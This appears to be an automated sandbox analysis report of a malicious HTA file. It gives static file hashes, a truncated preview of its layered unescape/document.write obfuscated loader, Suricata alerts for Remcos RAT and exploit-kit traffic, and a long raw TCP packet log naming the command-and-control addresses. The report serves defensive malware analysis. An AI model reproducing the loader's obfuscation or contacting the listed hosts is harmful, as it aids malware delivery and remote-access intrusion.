Preview:	..........f.G.U.W.L.a.C.k.k.R.k.W.c.W.a.l.K.J.z.c.K.L.t.L.z. .=. .".d.T.b.A.p.U.N.c.K.A.p.S.K.L.f.U.H.z.K.b.f.c.o.U.l.".....L.P.B.n.c.L.i.u.e.G.e.k.q.T.c.a.n.t.i.s.s.o.c.i.a.l.i.s.t.a.L.P.p.O.B.P.h.e. .=. .".K.z.l.A.Q.S.K.q.Z.m.e.L.p.t.a.c.a.e.e.A.W.u.o.o.i.".....W.b.b.u.W.h.z.U.c.L.i.G.z.v.Q.p.P.G.O.o.J.c.U.r.U. .=. .".L.P.Z.K.i.q.A.L.i.Z.t.P.P.U.U.O.i.i.h.p.t.R.c.d.G.".....p.v.K.Z.o.J.o.H.l.m.m.K.g.p.G.H.e.G.H.Z.z.n.K.L.i. .=. .".a.d.l.W.v.L.P.p.j.Z.R.W.e.k.q.U.W.e.Z.a.N.G.t.A.L.".....B.i.U.z.J.L.L.J.W.b.p.C.Z.L.p.i.R.e.H.s.b.N.W.O.Z. .=. .".R.p.a.L.k.G.N.W.Q.k.W.z.L.W.W.g.W.L.p.x.u.d.G.L.c.".....e.G.g.z.N.t.o.i.W.u.W.f.B.k.c.z.c.m.u.q.Z.j.H.i.g. .=. .".Q.i.e.L.L.A.p.L.L.K.W.b.K.f.f.R.L.L.O.Z.z.B.h.W.i.".....P.W.K.c.c.U.m.c.m.Z.j.f.u.d.n.e.c.P.U.W.W.R.v.f.L. .=. .".l.U.O.P.r.G.C.v.i.K.N.e.i.f.i.t.W.A.I.t.K.Z.Z.k.L.".....a.S.i.z.W.P.O.Q.j.e.p.q.h.h.f.l.Z.b.G.O.s.c.p.A.p. .=. .".L.s.P.K.G.P.N.c.T.U.L.G.k.i.k.m.q.f.o.g.L.o.W.L.O.".....L.b.n.m.I.g.L.A.P.z.J.U.h.R.i.Z.v.K.P.e.i.N.i.K.s. .

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (65520), with CRLF line terminators
Entropy (8bit):	2.55207185032906
TrID:	HTML Application (8008/1) 100.00%
File name:	LJ1IZDkHyE.hta
File size:	118'193 bytes
MD5:	d6a04e7ba31d063b7176e3f9fc96c46a
SHA1:	e8929b14ea18c20d4a81ac3faf681031924c9d14
SHA256:	2377328ff0a0b26133c534cb523576567f94d73726102f905e97f813b20a86a2
SHA512:	81fc9692f3e031cedbfd0623b69b21017504a8376e14ef3ee002b14517e857e45b07191bb84436e1bfebf1fa8fd6a375dc61716bebb253db2e4c015f740424b0
SSDEEP:	96:Ea+M7XjJ7GJyXOVKBhqCJgqC8R7JR2JacLZL+dJAcAT:Ea+QXjJaJpKBgVOJEJwdJArT
TLSH:	3CC3B09AEA3648ECBBCD9EA77EFC738D7A28235F6B461E51434B3646CC5170C808055C
File Content Preview:	<script>.. ..document.write(unescape("%3Cscript%3E%0A%3C%21--%0Adocument.write%28unescape%28%22%253Cscript%2520language%253DJavaScript%253Em%253D%2527%25253C%252521DOCTYPE%252520html%25253E%25250A%25253Cmeta%252520http-equiv%25253D%252522X-UA-Compatibl

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T18:49:56.463614+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.5	49723	45.134.140.70	50312	TCP
2024-09-25T18:50:19.290790+0200	2020423	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1	1	104.168.32.148	80	192.168.2.5	49708	TCP
2024-09-25T18:50:19.290790+0200	2020425	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1	1	104.168.32.148	80	192.168.2.5	49708	TCP
2024-09-25T18:50:41.546804+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.5	49711	45.134.140.70	50312	TCP
2024-09-25T18:51:03.935894+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.5	49713	45.134.140.70	50312	TCP
2024-09-25T18:51:26.329688+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.5	49715	45.134.140.70	50312	TCP
2024-09-25T18:51:48.885817+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.5	49716	45.134.140.70	50312	TCP
2024-09-25T18:52:11.300191+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.5	49717	45.134.140.70	50312	TCP
2024-09-25T18:52:33.741698+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.5	49718	45.134.140.70	50312	TCP
2024-09-25T18:52:56.235749+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.5	49719	45.134.140.70	50312	TCP
2024-09-25T18:53:18.658908+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.5	49720	45.134.140.70	50312	TCP
2024-09-25T18:53:41.236809+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.5	49721	45.134.140.70	50312	TCP
2024-09-25T18:54:03.773321+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.5	49722	45.134.140.70	50312	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 18:50:06.111886024 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.116779089 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.116990089 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.117193937 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.122107029 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.613581896 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.613610983 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.613627911 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.613698959 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.613713980 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.613732100 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.613748074 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.613765001 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.613779068 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.613781929 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.613794088 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.613852024 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.613883018 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.618721962 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.618769884 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.618784904 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.618798971 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.618799925 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.618818998 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.618844032 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.703967094 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.703989983 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.704016924 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.704031944 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.704049110 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.704158068 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.704385042 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.704402924 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.704411030 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.704418898 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.704451084 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.704476118 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.704948902 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.705002069 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.705020905 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.705037117 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.705061913 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.705080986 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.705080986 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.705100060 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.705121994 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.705137014 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.705754995 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.705807924 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.705822945 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.705835104 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.705849886 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.705866098 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.705914021 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.705930948 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.705951929 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.705971003 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.706608057 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.706656933 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.706657887 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.706675053 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.706696987 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.706717968 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.706729889 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.706738949 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.706757069 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.706773043 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.709011078 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.709069014 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.794730902 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.794761896 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.794770002 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.794778109 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.794787884 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.794918060 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.794945002 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.794956923 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.794960022 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.794976950 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.794991016 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.795002937 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795005083 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.795018911 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795026064 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795031071 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.795033932 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795043945 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795100927 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.795578003 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795593977 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795614958 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795634031 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.795646906 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795660973 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.795661926 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795679092 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795687914 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.795695066 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795713902 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.795741081 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.795830011 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795845985 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795870066 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795870066 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.795887947 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.795890093 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.795907974 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.795924902 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.796473980 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796499014 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796513081 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796524048 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.796530962 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796552896 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.796576977 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.796588898 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796605110 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796613932 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796663046 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796679020 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796689987 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.796708107 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796724081 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796751022 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.796761036 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.796780109 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.796799898 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796814919 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796829939 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796839952 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.796845913 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796864986 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.796876907 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.796879053 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.796899080 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.796926022 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.797533035 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.797549009 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.797564983 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.797586918 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.797609091 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.797626972 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.797627926 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.797641993 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.797658920 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.797663927 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.797677040 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.797683954 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.797700882 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.797717094 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885314941 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885338068 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885365963 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885381937 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885400057 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885418892 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885432005 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885507107 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885507107 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885507107 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885507107 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885586023 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885613918 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885629892 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885636091 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885658026 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885660887 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885674000 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885683060 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885690928 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885703087 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885708094 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885726929 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885737896 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885766029 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885771036 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885787964 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885816097 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885835886 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885900021 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885945082 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.885971069 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.885986090 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886002064 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886014938 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886029959 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886046886 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886151075 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886167049 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886183023 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886198044 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886217117 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886234999 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886239052 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886250019 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886265993 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886279106 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886298895 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886301041 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886315107 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886316061 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886332035 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886343956 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886360884 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886375904 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886392117 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886415958 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886415958 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886415958 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886434078 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886878014 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886941910 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886944056 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.886960983 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.886991024 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887005091 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887007952 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887023926 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887039900 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887051105 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887057066 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887072086 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887090921 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887104988 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887196064 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887211084 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887227058 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887240887 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887243032 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887259960 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887275934 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887291908 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887295008 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887295961 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887307882 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887295961 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887350082 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887350082 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887376070 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887789965 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887824059 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887839079 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887855053 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887866020 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887890100 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887897968 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887916088 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887932062 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887945890 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887949944 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.887960911 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887979031 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.887998104 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.888088942 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888103008 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888118982 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888134003 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888150930 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888164997 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888183117 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888185024 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.888185024 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.888204098 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888206005 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.888225079 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.888259888 CEST	49704	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:06.888806105 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888823986 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888854027 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888868093 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888884068 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888900042 CEST	80	49704	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:06.888889074 CEST	49704	80	192.168.2.5	104.168.32.148
